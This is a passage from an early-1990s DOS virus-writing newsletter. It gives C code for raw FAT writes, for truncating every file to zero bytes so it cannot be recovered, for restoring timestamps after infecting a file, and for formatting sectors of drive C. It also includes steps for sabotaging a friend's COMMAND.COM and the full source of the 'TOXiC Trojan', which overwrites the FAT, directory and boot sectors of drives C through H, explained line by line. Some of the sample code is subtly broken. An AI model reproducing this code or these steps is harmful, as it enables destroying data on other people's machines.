  894. [18] [19]    Enclose The Body Of Code To Execute While _dos_findnext is
  895.          Still Finding Matching Files (case '5')
  896.  
  897. -----------------------------------------------------------------------------
  898.  
  899. By Now I Am Sure You Can See The Importance Of Curly Brackets And Where You
  900. Place Them In Your Code. I Recall Someone Thinking They Were A Awesome
  901. Programmer Because They Knew A Few Nice Third Party Commercial C Libraries,
  902. But The Didn't Know The Language Too Well, And As A Result, He Was Not The
  903. Great Programmer He Thought He Was.
  904.  
  905. -----------------------------------------------------------------------------
  906.  
  907. Writing/Reading The File Allocation Table:
  908.  
  909. -----------------------------------------------------------------------------
  910.  
  911. #include <bios.h>
  912. int main (void);
  913. main()
  914. {
  915.   struct diskinfo_t disk_info;
  916.  
  917.   disk_info.drive=2;    /* 0 = Drive A, 1 = Drive B, 2 = Drive C */
  918.   disk_info.head=0;     /* disk drive head */
  919.   disk_info.track=0;    /* track to read from */
  920.   disk_info.sector=1;        /* Starting Sector */
  921.   disk_info.nsectors=10;     /* Number Of Sectors To Read */
  922.  
  923.   _bios_disk(_DISK_READ,&disk_info);
  924. }
  925.  
  926. -----------------------------------------------------------------------------
  927.  
  928. The Above Code Will Read 10 Sectors Starting At Sector 1 On Track 0, Side 0
  929. Of Drive C.
  930.  
  931. The _bios_disk function makes use of the "diskinfo_t" structure in "BIOS.H"
  932.  
  933. The diskinfo_t structure:
  934.  
  935.                 struct diskinfo_t {
  936.                 unsigned drive;
  937.                 unsigned head;
  938.                 unsigned track;
  939.                 unsigned sector;
  940.                 unsigned nsectors;
  941.                 void far *buffer;
  942.                 };
  943.  
  944. -----------------------------------------------------------------------------
  945.  
  946. If you wanted to write to the disk rather than read from it, replace this
  947. line:
  948.  
  949. _bios_disk(_DISK_READ,&disk_info);
  950.  
  951. With this:
  952.  
  953. _bios_disk(_DISK_WRITE,&disk_info);
  954.  
  955. _DISK_READ and _DISK_WRITE are known as 'Manifest Constants' They tell the
  956. _bios_disk function whether to read or write...
  957.  
  958. Starting sector and number of sectors will vary depending on the media you
  959. want to read from or write to the file allocation table (FAT) on.
  960.  
  961. -----------------------------------------------------------------------------
  962.  
  963. Truncating Files To 0 Bytes:
  964.  
  965. -----------------------------------------------------------------------------
  966.  
  967. #include <fcntl.h>
  968. #include <sys\types.h>
  969. #include <sys\stat.h>
  970. #include <io.h>
  971. #include <dos.h>
  972. int main (void);
  973. main()
  974. {
  975.     int fh;
  976.     struct find_t find_all;
  977.  
  978.     _dos_findfirst("*.*",_A_NORMAL|_A_RDONLY|_A_HIDDEN|_A_SYSTEM,&find_all);
  979.     _dos_setfileattr(find_all.name,_A_NORMAL);
  980.     fh=open(find_all.name,O_TRUNC);
  981.     close(fh);
  982.     while (_dos_findnext(&all_file) == 0) {
  983.       _dos_setfileattr(find_all.name,_A_NORMAL);
  984.       fh=open(find_all.name,O_TRUNC);
  985.       close(fh);
  986.       }
  987. }
  988.  
  989. -----------------------------------------------------------------------------
  990.  
  991. We've Already Covered _dos_findfirst, _dos_findnext, _dos_setfileattr And
  992. Structures So We Will Concentrate On The "open" And "close" Functions, Which
  993. Are Relatively Simple.
  994.  
  995.  
  996. The Following Line Opens "find_all.name" And The Manifest Constant "O_TRUNC"
  997. Passed To The "open" Function Causes The File Being Opened To Be Truncated
  998. To 0 Bytes.
  999.  
  1000.       fh=open(find_all.name,O_TRUNC);
  1001.  
  1002. And Then We Close The Open Handle, Which Was Passed To The Integer "fh" By
  1003. The "open" Function.
  1004.  
  1005.                close(fh);
  1006.  
  1007.  
  1008. When We Close The File, It Gets Written Back To The Disk In The Same Exact
  1009. Spot, But With It's Contents Destroyed. UNERASE (C) Symantec And Similar
  1010. "File Recovery" Utilities Cannot Recover The Files. The Only Drawback To This
  1011. Method Is That It Is Awfully Slow.
  1012.  
  1013. -----------------------------------------------------------------------------
  1014.  
  1015. Saving/Restoring File Dates/Times:
  1016.  
  1017. -----------------------------------------------------------------------------
  1018.  
  1019. Below is a C program to change the date and time stamp on a file called
  1020. "TEST.TXT" to 01/01/82 and 1:32am
  1021.  
  1022. -----------------------------------------------------------------------------
  1023.  
  1024. #include <fcntl.h>
  1025. #include <sys\types.h>
  1026. #include <sys\stat.h>
  1027. #include <io.h>
  1028. #include <stdlib.h>
  1029. #include <stdio.h>
  1030. #include <dos.h>
  1031. int fh=0;
  1032. unsigned date=0x421;
  1033. unsigned time=0xC0F;
  1034. int main(void);
  1035. main()
  1036. {
  1037.     _dos_open("TEST.TXT",O_RDONLY,&fh);
  1038.     _dos_setftime(fh,date,time);
  1039.     _dos_close(fh);
  1040. }
  1041.  
  1042. -----------------------------------------------------------------------------
  1043.  
  1044. _dos_open is passed three parameters, the file, the mode to open the file
  1045. with, and a integer.
  1046.  
  1047. The file is self explanatory, the mode is O_RDONLY which is read only. It is
  1048. not neccesarry to open the file in a writable mode since we won't actually be
  1049. writing to the file. The filename is passed to the integer "fh"
  1050.  
  1051. The next function, _dos_setftime, is passed the integer, "fh", and the date
  1052. and time to set on the file. date and time are unsigned integers. date has
  1053. the hexadecimal value, 0x421, which is: 01/01/82 and time has the hexadecimal
  1054. value, 0xC0F, which is 1:32am. This function sets the specified date and time
  1055. and then the integer "fh" is passed to the _dos_close function, which closes
  1056. the file.
  1057.  
  1058. -----------------------------------------------------------------------------
  1059.  
  1060. We can preserve the original date and time stamp on a file by using the
  1061. function called "_dos_getftime"
  1062.  
  1063. -----------------------------------------------------------------------------
  1064.  
  1065. #include <fcntl.h>
  1066. #include <sys\types.h>
  1067. #include <sys\stat.h>
  1068. #include <io.h>
  1069. #include <stdlib.h>
  1070. #include <stdio.h>
  1071. #include <dos.h>
  1072. int fh;
  1073. unsigned date;
  1074. unsigned time;
  1075. int main(void);
  1076. main()
  1077. {
  1078.     _dos_open("TEST.TXT",O_RDONLY,&fh);
  1079.     _dos_getftime(fh,&date,&time);
  1080.     _dos_close(fh);
  1081. }
  1082.  
  1083. -----------------------------------------------------------------------------
  1084.  
  1085. This program is virtually identical to the previous one except that we use
  1086. _dos_getftime in place of _dos_setftime.
  1087.  
  1088. -----------------------------------------------------------------------------
  1089.  
  1090. If you were wondering where to get the hexadecimal values for setting the
  1091. date and time, you can do it this way:
  1092.  
  1093. -----------------------------------------------------------------------------
  1094.  
  1095. #include <fcntl.h>
  1096. #include <time.h>
  1097. #include <sys\types.h>
  1098. #include <sys\stat.h>
  1099. #include <io.h>
  1100. #include <stdlib.h>
  1101. #include <stdio.h>
  1102. #include <dos.h>
  1103. int fh;
  1104. char filename[13] = {"*.*"};
  1105. FILE *stream;
  1106. unsigned date;
  1107. unsigned mtime;
  1108. int main(void);
  1109. main()
  1110. {
  1111. struct stat buf;
  1112. struct find_t  all_file;
  1113.  
  1114. stream=fopen("HEXTABLE.TXT","a");
  1115. _dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file);
  1116. _dos_open(all_file.name,O_RDONLY,&fh);
  1117. _dos_getftime(fh,&date,&mtime);
  1118. fstat(fh,&buf);
  1119. _dos_close(fh);
  1120. fprintf(stream,"-----------------------------------------------------------------------------\n");
  1121. fprintf(stream,"  Hexadecimal:\t\t|  Regular:\n");
  1122. fprintf(stream,"-----------------------------------------------------------------------------\n");
  1123. fprintf(stream,"  %x   %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
  1124. while (_dos_findnext(&all_file) == 0) {
  1125.      _dos_open(all_file.name,O_RDONLY,&fh);
  1126.      _dos_getftime(fh,&date,&mtime);
  1127.      fstat(fh,&buf);
  1128.      _dos_close(fh);
  1129.      fprintf(stream,"  %x   %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
  1130.      }
  1131.      fclose(stream);
  1132. }
  1133.  
  1134. -----------------------------------------------------------------------------
  1135.  
  1136. This is actually very simple. It uses the file finding methods used in ATTRB
  1137. v3.0, discussed earlier, with one difference: It doesn't take a command line
  1138. parameter like ATTRB did...instead the filespec is declared in the code as a
  1139. character array:
  1140.  
  1141. char filename[13] = {"*.*"};
  1142.  
  1143. In this case, it finds ALL the files, using wildcards. You can change it to
  1144. find any file(s) you want, for instance:
  1145.  
  1146. char filename[13] = {"*.COM"};
  1147.  
  1148. Would find all the files that have a extension of .COM
  1149.  
  1150. The curly braces { and } surrounding the filespec are neccessary when
  1151. initializing a array.
  1152.  
  1153. This is the structure for returning the date and time on the file:
  1154.  
  1155. struct stat buf;
  1156.  
  1157. And this is the structure for finding the files:
  1158.  
  1159. struct find_t  all_file;
  1160.  
  1161. Here it opens the "HEXTABLE.TXT" file. Note the "a" switch, which means
  1162. "append" if the file exists, it will write to the end of the file. If it
  1163. doesn't exist, it will create it.
  1164.  
  1165. stream=fopen("HEXTABLE.TXT","a");
  1166.  
  1167. Here it starts the search. It attempts to locate the first file matching:
  1168.  
  1169. char filename[13] = {"*.*"};
  1170.  
  1171. and passes the filename found to the "all_file" structure
  1172.  
  1173. _dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file);
  1174.  
  1175. Here _dos_open opens the file, and passes the file handle to the integer "fh"
  1176.  
  1177. _dos_open(all_file.name,O_RDONLY,&fh);
  1178.  
  1179. And here it gets the file date and time, storing it in the two unsigned
  1180. integers "date" and "mtime"
  1181.  
  1182. NOTE: I originall called had used "time" instead of "mtime" and it wouldn't
  1183. compile and link the file because "time" is a function in the standard
  1184. library that came with the compiler. Told ya I'm still learning!
  1185.  
  1186. BTW, the screw up with 'time' was Microsoft's fault. That's what they used in
  1187. the manual.
  1188.  
  1189. _dos_getftime(fh,&date,&mtime);
  1190.  
  1191. Here it gets the stats on the file as outlined in the stat structure.
  1192.  
  1193. fstat(fh,&buf);
  1194.  
  1195. Then it close the file that the integer "fh" points to.
  1196.  
  1197. _dos_close(fh);
  1198.  
  1199. and prints the following lines to the file "HEXTABLE.TXT"
  1200.  
  1201. fprintf(stream,"-----------------------------------------------------------------------------\n");
  1202. fprintf(stream,"  Hexadecimal:\t\t|  Regular:\n");
  1203. fprintf(stream,"-----------------------------------------------------------------------------\n");
  1204. fprintf(stream,"  %x   %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
  1205.  
  1206. \t is a TAB, %s is a string, and %x is a hexadecimal value.
  1207.  
  1208. It prints date and mtime as hex values, and prints the regular date and time
  1209. as a string with the help of the "ctime" function.
  1210.  
  1211. And the following code basically does the same thing until there are no more
  1212. files matching "all_file.name"
  1213.  
  1214. while (_dos_findnext(&all_file) == 0) {
  1215.      _dos_open(all_file.name,O_RDONLY,&fh);
  1216.      _dos_getftime(fh,&date,&mtime);
  1217.      fstat(fh,&buf);
  1218.      _dos_close(fh);
  1219.      fprintf(stream,"  %x   %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
  1220.      }
  1221.  
  1222. then it close "HEXTABLE.TXT" and exits.
  1223.  
  1224.      fclose(stream);
  1225. }
  1226.  
  1227. *****************************************************************************
  1228.  
  1229. Following is part of "HEXTABLE.TXT" after I ran the above program so you can
  1230. see some examples of hexadecimal date and time values and the regular date
  1231. and time next to them:
  1232.  
  1233. NOTE: The first hexadecimal value is the date, the second one is the time.
  1234.  
  1235. *****************************************************************************
  1236.  
  1237. -----------------------------------------------------------------------------
  1238.   Hexadecimal:          |  Regular:
  1239. -----------------------------------------------------------------------------
  1240.   1067   2820           | Mon Mar 07 05:01:00 1988
  1241.   1896   4bd1           | Wed Apr 22 09:30:34 1992
  1242.   106a   5a2c           | Thu Mar 10 11:17:24 1988
  1243.   1067   2820           | Mon Mar 07 05:01:00 1988
  1244.   1067   2820           | Mon Mar 07 05:01:00 1988
  1245.   1689   2800           | Tue Apr 09 05:00:00 1991
  1246.   1896   4a5c           | Wed Apr 22 09:18:56 1992
  1247.   1896   4a5c           | Wed Apr 22 09:18:56 1992
  1248.   1067   2820           | Mon Mar 07 05:01:00 1988
  1249.   1067   2820           | Mon Mar 07 05:01:00 1988
  1250.  
  1251. *****************************************************************************
  1252.  
  1253. You will notice in the previous program that set the file date and time, I
  1254. had it like this:
  1255.  
  1256. unsigned date=0x421;
  1257. unsigned time=0xC0F;
  1258.  
  1259. Now, in the above hex values, 1067 is 03/07/88 and 2820 is 5:01am, so you
  1260. would put:
  1261.  
  1262. unsigned date=1067;
  1263. unsigned time=2820;
  1264.  
  1265. right? WRONG. You have to put the 0x in front of it:
  1266.  
  1267. unsigned date=0x1067;
  1268. unsigned time=0x2820;
  1269.  
  1270. This is only required if you are going to declare and initialize two integers
  1271. with a value such as I did here:
  1272. -----------------------------------------------------------------------------
  1273. #include <fcntl.h>
  1274. #include <sys\types.h>
  1275. #include <sys\stat.h>
  1276. #include <io.h>
  1277. #include <stdlib.h>
  1278. #include <stdio.h>
  1279. #include <dos.h>
  1280. int fh=0;
  1281. unsigned date=0x421;
  1282. unsigned time=0xC0F;
  1283. int main(void);
  1284. main()
  1285. {
  1286.     _dos_open("TEST.TXT",O_RDONLY,&fh);
  1287.     _dos_setftime(fh,date,time);
  1288.     _dos_close(fh);
  1289. }
  1290. -----------------------------------------------------------------------------
  1291. However, when getting the time and date using _dos_getftime and setting it
  1292. using _dos_setftime, the 0x is not neccessary even though _dos_getftime does
  1293. return the values without the 0x because _dos_setftime knows what they are
  1294. and does set the date and time according to what the two values are.
  1295. -----------------------------------------------------------------------------
  1296.  
  1297. Now, the final product on getting/setting file dates/times:
  1298.  
  1299. -----------------------------------------------------------------------------
  1300.  
  1301. #include <fcntl.h>
  1302. #include <sys\types.h>
  1303. #include <sys\stat.h>
  1304. #include <io.h>
  1305. #include <stdlib.h>
  1306. #include <stdio.h>
  1307. #include <dos.h>
  1308. int fh;
  1309. int main (void);
  1310. main()
  1311. {
  1312. unsigned date;
  1313. unsigned mtime;
  1314. _dos_open("EXAMPLE.EXE",O_RDWR,&fh); /* open file */
  1315. _dos_getftime(fh,&date,&mtime); /* get file date and time */
  1316. /* Virus can infect "EXAMPLE.EXE" here */
  1317. /* and then restore the original date and time */
  1318. _dos_setftime(fh,date,mtime);
  1319. _dos_close(fh); /* close "EXAMPLE.EXE" */
  1320. }
  1321.  
  1322. -----------------------------------------------------------------------------
  1323.  
  1324. Formatting:
  1325.  
  1326. -----------------------------------------------------------------------------
  1327.  
  1328. #include <bios.h>
  1329. int main(void);
  1330. main()
  1331. {
  1332.   struct diskinfo_t disk_info;
  1333.  
  1334.   disk_info.drive    =2;
  1335.   disk_info.head     =1;
  1336.   disk_info.track    =1;
  1337.   disk_info.sector   =1;
  1338.   disk_info.nsectors =10;
  1339.  
  1340.   _bios_disk(_DISK_FORMAT,&disk_info);
  1341. }
  1342.  
  1343. -----------------------------------------------------------------------------
  1344.  
  1345. The above example will format 10 sectors of track 1, starting at sector 1 on
  1346. head 1 of drive C.
  1347.  
  1348. -----------------------------------------------------------------------------
  1349.  
  1350.   disk_info.drive    =2;
  1351.   disk_info.head     =1;
  1352.   disk_info.track    =1;
  1353.   disk_info.sector   =1;
  1354.   disk_info.nsectors =10;
  1355.  
  1356. -----------------------------------------------------------------------------
  1357. disk_info.drive=2 is drive C.
  1358.  
  1359. 0 is drive A, and 1 is drive B.
  1360.  
  1361. disk_info.head=1 is head 1.
  1362.  
  1363. disk_info.track=1 is the track to start formatting at.
  1364.  
  1365. disk_info.sector=1 is the sector to start formatting at.
  1366.  
  1367. disk_info.nsectors=10 is the total number of sectors to format.
  1368. -----------------------------------------------------------------------------
  1369.  
  1370. Fun with COMMAND.COM
  1371.  
  1372. -----------------------------------------------------------------------------
  1373.  
  1374. OK, I did this to a friend of mine, and it resulted in about two hours of
  1375. major frustration before I finally called him and told him what I did. What
  1376. we do is change all the internal MS-DOS commands inside COMMAND.COM...once
  1377. you do that, replace someone's COMMAND.COM on their hard drive and re-boot
  1378. their machine. What will happen is whenever they type a internal command such
  1379. as CLS, COPY, MD, DIR, etc, it will say: Bad Command Or Filename.
  1380.  
  1381. This is how it is done:
  1382.  
  1383. Run a sector editor such as: Norton Utilitie's DISKEDIT
  1384.  
  1385. Commands:
  1386.  
  1387. Alt (O)bject and then (F)ile OR Alt-F by itself. Then select COMMAND.COM as
  1388. the file, it will then open it. Then: Alt (T)ools, (F)ind OR CTRL-S. Then type
  1389. in the string to search for (CLS, DIR, COPY, etc), once it finds it, do the
  1390. following:
  1391.  
  1392. Alt (E)dit, (M)ark OR CTRL-B
  1393.  
  1394. Then simply type over the command with something else and hit CTRL-W which
  1395. will write those changes to the file.
  1396.  
  1397. Just do this with every internal command and there you go.
  1398.  
  1399. Note: If there is a string of text in COMMAND.COM such as: "Copy is used to
  1400. move files from drive to drive or directory to directory", when you search
  1401. for COPY it will find the Copy at the beginning of that string, you don't want
  1402. to change that. Just hit CTRL-G (Find again) to find the next occurence of
  1403. COPY.....The one you are looking for will be in all CAPS and surrounded by
  1404. nothing else but unreadable characters.
  1405.  
  1406. -----------------------------------------------------------------------------
  1407.  
  1408. Sample Source Code Of Virii: TOXiC Trojan #1
  1409.  
  1410. -----------------------------------------------------------------------------
  1411.  
  1412. This is what the author of the "TOXiC Trojan #1" has to say about his
  1413. creation:
  1414.  
  1415. -----------------------------------------------------------------------------
  1416. TOXiC1 - TOXiC Trojan #1 - Programmed by Izzy Stradlin' and MiSERY/CPA
  1417.  MiSERY1 is the name given to this trojan.  I programmed it, I name the
  1418.  Mother fucker.  I hereby give all rights of this trojan to MiSERY/CPA.
  1419.  If ya don't like it, TOUGH.  I Give ALL rights EXCEPT for the NAME to
  1420.  CPA - eg. NOONE CAN CHANGE THE NAME OF THIS THING W/O MY PERMISSION AND
  1421.  LEAVE MY NAME IN IT.  The name must stay on, both my name and the name
  1422.  of the trojan are copyrighted (c) 90 to Izzy Stradlin'
  1423.  -----------------------------------------------------------------------
  1424.  Capt. - This isn't a Real Virus - It's a Trojan.  Sorry, still trying
  1425.  to use something similar to ASM's int 21h; for DOSs features, then I'll
  1426.  Get going on Virii.  As is, this Destroys Boot/Fat/Dir on Most harddisks
  1427.  and Well, there is so far no way that I know of that it can recover
  1428.  what the disk lost, as it writes the trojan name over everything.  This
  1429.  SHOULD Go for BOTH FAT Tables, but I am not going to try it out.  Haha.
  1430.  You try it - Tell me how it works! all I know is that it got 6 of my
  1431.  Flippin' floppies, damnit!  - Delete this bottom message to you after
  1432.  Checking it out - Makes it look more professional.  Leave the top text
  1433.  part in tact, just in case you want to pass it around.
  1434.  This is JUST A START.  They DO/WILL Get better - this is weak, but as I
  1435.  Said - no known recovery from it.
  1436.  Oh, this looks for C: through H:
  1437.  
  1438. -----------------------------------------------------------------------------
  1439.  
  1440. And this is what I have to say about The "TOXiC Trojan #1"
  1441.  
  1442. -----------------------------------------------------------------------------
  1443.  
  1444. The author of the "TOXiC Trojan #1" says that this is a trojan, but to me it
  1445. is NOT....if it was, it wouldn't be featured here as this is a newsletter
  1446. dedicated entirely to virii. A trojan is a destructive program disguised as
  1447. a real program that already exists, or disguised as a useful program. This
  1448. program does not implement any encryption techniques, or stealth techniques
  1449. so actually it is a toss up. I call it a virus, though. Anyway, the source
  1450. code below is the original source code as written by Izzy Stradlin'
  1451.  
  1452. -----------------------------------------------------------------------------
  1453.  
  1454. #define   TROJAN_NAME  "TOXiC"    /* Trojan Name */
  1455.  
  1456. /* Procedures  */
  1457. void infect_fat();
  1458. void infect_dir();
  1459. void infect_boot();
  1460. void main();
  1461. /* Simple, eh? */
  1462.  
  1463.  
  1464. void infect_fat()
  1465. {
  1466.     int i;
  1467.     for (i=2; i<7; i++) {
  1468.     abswrite(i,0,2,TROJAN_NAME);
  1469.     }
  1470. }
  1471.  
  1472. void infect_dir()
  1473. {
  1474.     int i;
  1475.     for (i=2; i<7; i++) {
  1476.     abswrite(i,2,2,TROJAN_NAME);
  1477.     }
  1478. }
  1479.  
  1480. void infect_boot()
  1481. {
  1482.     int i;
  1483.     for (i=0; i<7; i++) {
  1484.     abswrite(i,4,2,TROJAN_NAME);
  1485.     }
  1486. }
  1487.  
  1488. void main()
  1489. {
  1490.     printf(TROJAN_NAME);
  1491.     infect_fat();
  1492.     infect_dir();
  1493.     infect_boot();
  1494. }
  1495.  
  1496. -----------------------------------------------------------------------------
  1497.  
  1498. Now, this is my modified source code to the "TOXiC Trojan #1"
  1499.  
  1500. -----------------------------------------------------------------------------
  1501.  
  1502. #define   TROJAN_NAME  "TOXiC"
  1503. void infect_fat();
  1504. void infect_dir();
  1505. void infect_boot();
  1506. int main(void);
  1507. main()
  1508. {
  1509.     printf(TROJAN_NAME);
  1510.     infect_fat();
  1511.     infect_dir();
  1512.     infect_boot();
  1513. }
  1514.  
  1515. void infect_fat()
  1516. {
  1517.     int i;
  1518.     for (i=2; i<7; i++) {
  1519.     abswrite(i,0,2,TROJAN_NAME);
  1520.     }
  1521. }
  1522.  
  1523. void infect_dir()
  1524. {
  1525.     int i;
  1526.     for (i=2; i<7; i++) {
  1527.     abswrite(i,2,2,TROJAN_NAME);
  1528.     }
  1529. }
  1530.  
  1531. void infect_boot()
  1532. {
  1533.     int i;
  1534.     for (i=0; i<7; i++) {
  1535.     abswrite(i,4,2,TROJAN_NAME);
  1536.     }
  1537. }
  1538.  
  1539. -----------------------------------------------------------------------------
  1540.  
  1541. You may ask why I modified his source code, well I did for a few reasons:
  1542.  
  1543. He declared "main()" as:
  1544.  
  1545. void main();
  1546.  
  1547. When I first became familiar with the ANSI C standard, I declared "main()"
  1548. like so:
  1549.  
  1550. int main(void);
  1551.  
  1552. which says that main() will return a value of type int but has no parameters
  1553. passed to it. His way says that main will not return a value at all, and (I
  1554. am assuming here) will not be called with any parameters because he left the
  1555. parentheses empty. Using void and leaving the parentheses empty may very well
  1556. have the same effect, although I am not sure. (I never said I knew everything)
  1557.  
  1558. In his he put his procedures (below) before the main program.
  1559.  
  1560. void infect_fat()
  1561. {
  1562.     int i;
  1563.     for (i=2; i<7; i++) {
  1564.     abswrite(i,0,2,TROJAN_NAME);
  1565.     }
  1566. }
  1567.  
  1568. void infect_dir()
  1569. {
  1570.     int i;
  1571.     for (i=2; i<7; i++) {
  1572.     abswrite(i,2,2,TROJAN_NAME);
  1573.     }
  1574. }
  1575.  
  1576. void infect_boot()
  1577. {
  1578.     int i;
  1579.     for (i=0; i<7; i++) {
  1580.     abswrite(i,4,2,TROJAN_NAME);
  1581.     }
  1582. }
  1583.  
  1584. With mine, I placed the procedures after the main program. Once again I am
  1585. not 100% sure that this would have any effect on your program, and whether or
  1586. not it is a case of preference.
  1587.  
  1588. His three procedures:
  1589.  
  1590. infect_fat()
  1591. infect_dir()
  1592. infect_boot()
  1593.  
  1594. are all declared to return no value (void) and called with no parameters, as
  1595. he, once again, left the parentheses empty. (Which brings us back to main()..
  1596. leaving the parentheses empty on main() must have the same effect as putting
  1597. void in the parentheses)
  1598.  
  1599. Now the discussion of his procedures:
  1600.  
  1601. void infect_fat()
  1602. {
  1603.     int i;
  1604.     for (i=2; i<7; i++) {
  1605.     abswrite(i,0,2,TROJAN_NAME);
  1606.     }
  1607. }
  1608.  
  1609. This procedure, "infect_fat" writes the name of the trojan (virus) over
  1610. the file allocation table of drives C through H, providing they exist. This
  1611. is how it works:
  1612.  
  1613. the "for loop" uses the integer i, first assigning the value 2 to it, which
  1614. is the number of drive C, and then it passes the integer to the function
  1615. "abswrite" along with two other values, 0 and 2, and the name of the virus.
  1616.  
  1617. The integer i, as we know, contains the drive number, 0 is the starting sector
  1618. number, and 2 is the number of sectors to write. TROJAN_NAME is what gets
  1619. written to that area of the disk. Every time it passes through the for loop,
  1620. it increments the value of the integer i by 1 with the 'increment operator'
  1621. (i++) and it stops once the value of i is equal to or greater than 7. i<7 is
  1622. basically saying "while i is less than 7, keep going" Because the value of i
  1623. is increased with each pass through the loop, it attempts to write drives C
  1624. through H (2 being drive C, 3 being drive D, 4 being drive E, etc)
  1625.  
  1626. The code in between the first { and the second } is what the procedure does.
  1627. The code in between the second { and the first } is what takes place every
  1628. time the procedure passes through the for loop.
  1629.  
  1630. The other two procedures, infect_dir() and infect_boot(), basically work the
  1631. same way infect_fat() does except they write to a different part of the disk.
  1632.  
  1633. infect_dir() writes TROJAN_NAME on two sectors of drives C through H starting
  1634. at sector 2.
  1635.  
  1636. infect_boot() writes TROJAN_NAME on two sectors of drives C through H starting
  1637. at sector 4.
  1638.  
  1639. NOTE: abswrite() is not a function included with my standard runtime library
  1640. but may be a part of other compiler's runtime libraries, or you could write
  1641. one yourself.
  1642.  
  1643. -----------------------------------------------------------------------------
  1644.  
  1645. Suicidal Tendencies Dept:
  1646.  
  1647. The virus of the month award goes to: 666-B Rock Steady Virus And The 15th
  1648. Of April Virus.
  1649.  
  1650. -----------------------------------------------------------------------------
  1651.  
  1652. First I will start off with the 666-B Rock Steady Virus.
  1653.  
  1654. The virus activates on the 13th of every month.
  1655.  
  1656. I placed the file 666-B.COM on a floppy in drive B with the following files:
  1657.  
  1658. COMMAND.COM - 47845 bytes
  1659. PKUNZIP.EXE - 23528 bytes
  1660.  
  1661. First I changed the system date to: 05-13-1992 and ran 666-B.COM
  1662.  
  1663. It didn't do anything to the disk/files of drive B, instead it went to drive
  1664. A which was a write protected Viriisearch <tm> disk. It gave me the following
  1665. warning:
  1666.  
  1667.               This disk is not bootable
  1668.  
  1669.                If you wish to make it bootable,
  1670.               run the DOS program SYS after the
  1671.                system has been loaded
  1672.  
  1673.               Please insert a DOS diskette into
  1674.                the drive and strike any key...
  1675.  
  1676. So I inserted a write protected DOS disk into the drive, and the machine
  1677. booted. I decided to try a different approach:
  1678.  
  1679. I once again changed the system date to: 05-13-1992 and once again ran
  1680. 666-B.COM, but this time with a write protected DOS disk in drive A. It did
  1681. the same thing again, ignored drive B, and went right for drive A, this time
  1682. appearing to write to the disk for about 5-10 seconds, but it wasn't because
  1683. the disk was write protected at the time. Then the machine re-booted. So again
  1684. I tried another approach:
  1685.  
  1686. I left the system date as what it was: 1-01-80 and then ran 666-B.COM, it did
  1687. nothing but exit. Then I ran COMMAND.COM from the command line, no changes
  1688. were made to it. Now, with the virus in memory, I again changed the system
  1689. date to: 05-13-1992 and ran COMMAND.COM from the command line. This time it
  1690. infected COMMAND.COM, increasing it's size to: 48511 bytes from 47845 bytes.
  1691. I re-booted the machine, and looked back on drive B. PKUNZIP.EXE had also
  1692. been infected without me running it, it's size being increased to 24194 bytes
  1693. from 23528 bytes.
  1694.  
  1695. Note: The virus also formats the hard drive Boot Area and FAT on the 13th of
  1696.       every month, but I do not have a hard drive so I did not witness this.
  1697.       This is a well written virus and I am sure it does that if Rock Steady
  1698.       says it does.
  1699.  
  1700. -----------------------------------------------------------------------------
  1701.  
  1702. Suicidal Tendencies Dept. Part II: The 15th Of April Virus
  1703.  
  1704. -----------------------------------------------------------------------------
  1705.  
  1706. I placed the following files on a floppy in drive B:
  1707.  
  1708.  
  1709. ANSI     SYS      9029 04-09-91   5:00a
  1710. RAMDRIVE SYS      5873 04-09-91   5:00a
  1711. CONFIG   SYS        39 01-01-80  12:35a
  1712. COMMAND  COM     47845 04-09-91   5:00a
  1713. SYS      COM     13440 04-09-91   5:00a
  1714. NDOS     COM      2419 08-14-84  12:00p
  1715. MEM      EXE     39818 04-09-91   5:00a
  1716. DEBUG    EXE     21692 06-07-90   2:24a
  1717. PKUNZIP  EXE     23528 03-15-90   1:10a
  1718.  
  1719. and then placed 15APR.COM on there with them.
  1720.  
  1721. The system date was: 1-01-80 when I first ran 15APR.COM.
  1722.  
  1723. I then ran MEM.EXE and it's size increased to 41068 bytes from 39818 bytes.
  1724. I also ran PKUNZIP.EXE, it's size increased to 24778 bytes from 23528 bytes,
  1725. and NDOS.COM, it's size increasing from 2419 bytes to 3669 bytes.
  1726.  
  1727. I then changed the system date to the 15th Of April, 1992 and ran 15APR.COM
  1728. once again, and it did nothing.
  1729.  
  1730. I ran COMMAND.COM and the virus did nothing to it, it remained uninfected and
  1731. it's size remained the same so I ran SYS.COM with no parameters and it did
  1732. get infected, it's size increasing from 13440 bytes to 14690 bytes.
  1733.  
  1734. In all cases of a file being infected, it's size increased by 1250 bytes.
  1735.  
  1736. -----------------------------------------------------------------------------
  1737.  
  1738. Final Notes:
  1739.  
  1740. -----------------------------------------------------------------------------
  1741.  
  1742. Special thanks to:
  1743.  
  1744. -----------------------------------------------------------------------------
  1745.  
  1746. Rock Steady - For Writing Such A Well Written Virus For Me To Screw Around
  1747.           With.
  1748.  
  1749. All The Phalcon/Skism Members - For Letting Me On U.S.S.R. And Letting Me
  1750.                 Take Dark Angel's Phunky Virus Writing
  1751.                 Guide As Well As 40 HEX (Gotta Love It
  1752.                 When You Guys Rag On The Anti-Viral PPL)
  1753.  
  1754. Louis Cypher - For Letting Me On Lucid Dreams, And Doing Me That Favor.
  1755.  
  1756. Cliff Burton - For Making TLITD The Viriisearch HQ.
  1757.  
  1758. Patty, Mr. Dickburg, And Whoever Else - For Giving The Phalcon/Skism Guys
  1759.                     Someone To Rag On.
  1760.  
  1761. Count Zero And Magic Man: For Letting Me On ATDT Which Led To My Original
  1762.               Interest In Virii.
  1763.  
  1764. Spaceman: For Making All Those Virii Available To Me.
  1765.  
  1766. To All The Virus Authors - For Writing Them And Giving This Newsletter A
  1767.                Purpose, And Giving Me Something To Do While
  1768.                A Unemployment Victim Of This #$%*& Recession.
  1769.  
  1770. Pink Floyd/Led Zeppelin/Rush/U2/Queen - For Giving Me Good Quality Music To
  1771.                     Listen To While Writing This Virus
  1772.                     Newsletter (R.I.P Freddy & Bonzo)
  1773.  
  1774. And Hi To Darby Crash! Hope You're Doing Well Wherever You Are!
  1775.  
  1776. -----------------------------------------------------------------------------
  1777.  
  1778. Hey Everyone: Have a AWESOME 4th Of July! Don't Drink And Drive (At Least Not
  1779. In MY Neighborhood!)
  1780.  
